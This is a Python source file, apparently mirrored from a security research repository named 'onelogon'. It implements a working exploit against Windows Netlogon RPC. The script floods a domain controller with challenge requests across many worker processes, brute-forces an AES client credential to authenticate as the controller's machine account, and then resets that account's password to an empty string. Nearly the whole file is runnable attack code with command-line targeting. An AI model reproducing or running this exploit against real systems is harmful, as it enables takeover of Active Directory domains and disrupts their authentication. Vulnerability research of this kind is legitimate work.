mirror of
https://github.com/rub-softsec/onelogon
synced 2026-06-27 13:00:05 +00:00
332 lines
13 KiB
Python
332 lines
13 KiB
Python
import argparse
|
|
from exploit.utils import AES_128_BIT_CFB_AND_SHA2, FLAGS, log
|
|
from impacket.dcerpc.v5 import nrpc, epm, transport
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
|
from impacket.nt_errors import STATUS_ACCESS_DENIED
|
|
from multiprocessing import JoinableQueue, Process
|
|
import time
|
|
import signal
|
|
|
|
# Increase file limit
|
|
import resource
|
|
|
|
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
|
|
if file_limit[1] > 10000:
|
|
file_limit[0] = 10000
|
|
else:
|
|
file_limit[0] = file_limit[1]
|
|
file_limit = tuple(file_limit)
|
|
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
|
|
|
|
|
def parse_args():
|
|
parser = argparse.ArgumentParser(description="Netlogon RPC Client")
|
|
parser.add_argument("--dc-name", help="Domain Controller Name")
|
|
parser.add_argument("--dc-ip", required=True, help="Domain Controller IP Address")
|
|
parser.add_argument("--username", "-u", required=True, help="sAMAccountName of the domain controller")
|
|
parser.add_argument("--comp-username", help="sAMAccountName of the computer account for buffer flushing")
|
|
parser.add_argument("--comp-password", help="Computer password for buffer flushing")
|
|
parser.add_argument("--comp-hash", help="Computer hash for buffer flushing (optional, if not provided, password will be used)")
|
|
parser.add_argument("--workers", "-w", type=int, default=100, help="Number of worker threads")
|
|
parser.add_argument("--naive", action="store_true", help="Use naive approach and bruteforce 2^32")
|
|
return parser.parse_args()
|
|
|
|
|
|
def connect(dc_ip, dc_name, silent=False):
|
|
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
|
rpc_con.connect()
|
|
try:
|
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
|
if not silent:
|
|
log(f"Successfully bound to Netlogon RPC on {dc_name} ({dc_ip})")
|
|
return rpc_con
|
|
except Exception as e:
|
|
log(f"Failed to bind to Netlogon RPC: {e}", "red")
|
|
exit(1)
|
|
|
|
|
|
def req_challenges_worker(queue: JoinableQueue, dc_ip, dc_name, computer_name, client_chall, per_worker):
|
|
# Ignore SIGINT in this process (worker will not react to Ctrl+C)
|
|
signal.signal(signal.SIGINT, signal.SIG_IGN)
|
|
|
|
rpc_con = connect(dc_ip, dc_name, silent=True)
|
|
while True:
|
|
task = queue.get()
|
|
|
|
if task == "STOP":
|
|
queue.task_done()
|
|
break
|
|
try:
|
|
for _ in range(per_worker):
|
|
nrpc.hNetrServerReqChallenge(
|
|
rpc_con,
|
|
f"{dc_name}\x00",
|
|
f"{computer_name}\x00",
|
|
client_chall
|
|
)
|
|
except Exception as e:
|
|
log(f"Worker error: {e}", "red")
|
|
finally:
|
|
queue.task_done()
|
|
|
|
|
|
def do_successful_authentication(rpc_con, dc_name, computername, username, password=None, nt_hash=None, server_chall=None):
|
|
if password is None and nt_hash is None:
|
|
raise ValueError("Either password or nt_hash must be provided")
|
|
|
|
AccountName = f"{username}$" # Account that tries to authenticate
|
|
ComputerName = computername
|
|
client_chall = b"12345678"
|
|
|
|
flags = FLAGS(0b0100000000111111111111111111111)
|
|
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
|
|
|
|
if not server_chall:
|
|
# Request server challenge if not provided
|
|
resp = nrpc.hNetrServerReqChallenge(
|
|
rpc_con,
|
|
f"{dc_name}\x00",
|
|
f"{ComputerName}\x00",
|
|
client_chall,
|
|
)
|
|
server_chall = resp["ServerChallenge"]
|
|
|
|
# Local computations
|
|
session_key = nrpc.ComputeSessionKeyAES(
|
|
password,
|
|
client_chall,
|
|
server_chall,
|
|
nt_hash,
|
|
)
|
|
|
|
ClientStoredCredential = nrpc.ComputeNetlogonCredentialAES(
|
|
client_chall,
|
|
session_key,
|
|
)
|
|
|
|
# Authenticate with the server
|
|
nrpc.hNetrServerAuthenticate2(
|
|
rpc_con,
|
|
NULL,
|
|
f"{AccountName}\x00",
|
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
|
|
f"{ComputerName}\x00",
|
|
ClientStoredCredential,
|
|
flags.flag
|
|
)
|
|
|
|
|
|
def set_password_empty(rpc_con, dc_name, AccountName, ComputerName, client_chall):
|
|
# Construct a valid authenticator
|
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
|
authenticator["Credential"] = client_chall # The encryption will revert the last byte back to the original value
|
|
authenticator["Timestamp"] = 0
|
|
|
|
# Construct the ClearNewPassword structure as empty password
|
|
new_pw = "".encode("utf-16le")
|
|
assert len(new_pw) <= 512
|
|
ClearNewPassword = nrpc.NL_TRUST_PASSWORD()
|
|
ClearNewPassword["Buffer"] = (b"\x00" * (512 - len(new_pw))) + new_pw
|
|
ClearNewPassword["Length"] = len(new_pw)
|
|
assert len(ClearNewPassword.getData()) == 516
|
|
assert ClearNewPassword.getData() == b"\x00" * 516
|
|
|
|
req = nrpc.NetrServerPasswordSet2()
|
|
req["PrimaryName"] = f"{dc_name}\x00"
|
|
req["AccountName"] = f"{AccountName}\x00"
|
|
req["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
|
req["ComputerName"] = f"{ComputerName}\x00"
|
|
req["Authenticator"] = authenticator
|
|
req["ClearNewPassword"] = ClearNewPassword.getData()
|
|
try:
|
|
rpc_con.request(req)
|
|
log("Password set successfully to empty string!")
|
|
return True
|
|
except nrpc.DCERPCException:
|
|
return False
|
|
|
|
|
|
def clear_lines(n):
|
|
r"""
|
|
Clears n lines in the terminal.
|
|
\033[F moves the cursor up one line.
|
|
\033[K clears the line.
|
|
"""
|
|
for _ in range(n):
|
|
print("\x1B[F\x1B[K", end="")
|
|
|
|
|
|
def main():
|
|
args = parse_args()
|
|
log(args)
|
|
|
|
# Set up arg variables
|
|
dc_ip = args.dc_ip
|
|
dc_name = args.dc_name
|
|
username = args.username.rstrip("$") # Remove trailing '$' if present
|
|
num_workers = args.workers
|
|
comp_username = args.comp_username.rstrip("$") if args.comp_username else None # Remove trailing '$' if present
|
|
comp_password = args.comp_password
|
|
comp_hash = bytes.fromhex(args.comp_hash) if args.comp_hash else None
|
|
|
|
# Setup two rpc connections for the cleanup auth and our main authentication try
|
|
rpc_con_auth = connect(dc_ip, dc_name)
|
|
rpc_con_cleanup = connect(dc_ip, dc_name)
|
|
|
|
# Define the flags for AES authentication
|
|
flags = FLAGS(0b0100000000111111111111111111111)
|
|
flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag
|
|
log(f"Using flags: ({bin(flags.flag)}) \n{flags} ")
|
|
|
|
# Define auth vars
|
|
tries = 100_000 # 100_000 cache places but leave some room for clean up and other connections
|
|
per_worker = tries // num_workers
|
|
AccountName = f"{username}$" # Account that tries to authenticate
|
|
ComputerName = username # NetBIOS name of the client computer authenticating
|
|
client_chall = b"\x00" * 4 + b"\x11" * 3 + b"\x00"
|
|
|
|
# Set up multiprocessing queue for request challenges
|
|
task_queue = JoinableQueue()
|
|
processes = []
|
|
for _ in range(num_workers):
|
|
p = Process(
|
|
target=req_challenges_worker,
|
|
args=(task_queue, dc_ip, dc_name, ComputerName, client_chall, per_worker)
|
|
)
|
|
p.start()
|
|
processes.append(p)
|
|
|
|
# To be sure we have a clean start, do a successful authentication first
|
|
if comp_username:
|
|
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash)
|
|
|
|
total_time = 0
|
|
total_tries = 0
|
|
cycles = 0
|
|
if comp_username and not args.naive:
|
|
log("Estimated total tries with flushing: 2^24 / 2")
|
|
exp_tries = 2**24 / 2
|
|
authenticator_complexity = 2**8
|
|
elif args.naive:
|
|
log("Estimated total tries (naive): 2^32 / 2")
|
|
exp_tries = 2**32 / 2
|
|
authenticator_complexity = 1
|
|
else:
|
|
log("Estimated total tries without flushing: 2^16 / 2")
|
|
exp_tries = 2**16 / 2
|
|
authenticator_complexity = 2**16
|
|
|
|
# Stop bruteforce if we found a valid clientCredential
|
|
found = False
|
|
|
|
print()
|
|
log("Starting the brute force attack...")
|
|
try:
|
|
while not found:
|
|
cycles += 1
|
|
start_all = time.perf_counter()
|
|
start_req = time.perf_counter()
|
|
|
|
# Request server challenge for clean up so it is the first item in the request list
|
|
resp = nrpc.hNetrServerReqChallenge(
|
|
rpc_con_cleanup,
|
|
f"{dc_name}\x00",
|
|
f"{ComputerName}\x00",
|
|
b"12345678" # Dummy client challenge,
|
|
)
|
|
server_chall = resp["ServerChallenge"]
|
|
|
|
# Perform challenge requests
|
|
for _ in range(num_workers):
|
|
task_queue.put("REQUEST")
|
|
task_queue.join() # Block until all tasks are processed
|
|
end_req = time.perf_counter()
|
|
|
|
# Try to guess the clientCredential which should be client_challenge[:6] + 2x rand_byte
|
|
start_auth = time.perf_counter()
|
|
tries_this_round = tries
|
|
for i in range(authenticator_complexity):
|
|
# If we exceed 2 minutes, resend challenges and restart the round due to automatic cache flush
|
|
curr_time = time.perf_counter()
|
|
if curr_time - start_auth > 120:
|
|
tries_this_round = i
|
|
break
|
|
|
|
try:
|
|
if comp_username:
|
|
clientCredential = client_chall[:7] + int.to_bytes(i, 1)
|
|
else:
|
|
clientCredential = client_chall[:6] + int.to_bytes(i, 2)
|
|
|
|
# Check if session key encrypts the client challenge with null bytes
|
|
nrpc.hNetrServerAuthenticate2(
|
|
rpc_con_auth,
|
|
NULL,
|
|
f"{AccountName}\x00",
|
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
|
f"{ComputerName}\x00",
|
|
clientCredential, # IF THIS WORKS WE FOUND THE CORRECT SESSION KEY
|
|
flags.flag
|
|
)
|
|
log(f"!!!Successfully authenticated {AccountName} on {dc_name} with {clientCredential}!!!")
|
|
found = True
|
|
except nrpc.DCERPCSessionError as e:
|
|
if e.get_error_code() == STATUS_ACCESS_DENIED:
|
|
pass
|
|
else:
|
|
raise e
|
|
except Exception as e:
|
|
log(f"Authentication error: {e}", "red")
|
|
end_auth = time.perf_counter()
|
|
|
|
if not found:
|
|
start_cleanup = time.perf_counter()
|
|
if comp_username:
|
|
do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash, server_chall=server_chall)
|
|
end_cleanup = time.perf_counter()
|
|
|
|
end_all = time.perf_counter()
|
|
|
|
# Flush previous lines
|
|
if total_tries != 0:
|
|
clear_lines(10)
|
|
|
|
# Track all time stats
|
|
total_tries += tries_this_round
|
|
total_time += end_all - start_all
|
|
|
|
# Log the timing information
|
|
log("ROUND STATS:", "blue")
|
|
log(f"REQ: Took {end_req - start_req} seconds, average time per attempt: {(end_req - start_req) / (tries_this_round):.20f} seconds", "blue")
|
|
log(f"TRY: Took {end_auth - start_auth} seconds", "blue")
|
|
log(f"CLEANUP: Took {end_cleanup - start_cleanup} seconds", "blue")
|
|
log(f"ALL: Took {end_all - start_all} seconds, average time per attempt: {(end_all - start_all) / (tries_this_round):.20f} seconds", "blue")
|
|
log("", "blue")
|
|
log("TOTAL STATS:", "blue")
|
|
log(f"TIME: {total_time / 60 / 60:.2f} hours passed, average time per attempt: {total_time / (total_tries):.20f} seconds", "blue")
|
|
log(f"TRIES: {total_tries}, average tries per cycle: {total_tries // cycles}", "blue")
|
|
log(f"Estimated progress: {(total_tries / exp_tries) * 100:.2f}%, estimated time remaining: {((total_time / total_tries) * (exp_tries - total_tries)) / 60 / 60:.2f} hours", "blue")
|
|
|
|
# SET THE NEW PASSWORD TO EMPTY STRING
|
|
for i in range(256):
|
|
if set_password_empty(rpc_con_auth, dc_name, AccountName, ComputerName, client_chall[:7] + int.to_bytes(i)):
|
|
log(f"Successfully set the password of {AccountName} to an empty string!")
|
|
break
|
|
except KeyboardInterrupt:
|
|
print("\x1B[K", end="\r")
|
|
log("KeyboardInterrupt received, exiting gracefully.")
|
|
finally:
|
|
# Stop all worker processes
|
|
for _ in processes:
|
|
task_queue.put("STOP")
|
|
|
|
log("All tasks have been processed, stopping workers.")
|
|
for p in processes:
|
|
p.join()
|
|
print(f"Worker {p.pid} has been stopped.", end="\r", flush=True)
|
|
|
|
log("All workers have been stopped.")
|
|
task_queue.join()
|
|
task_queue.close()
|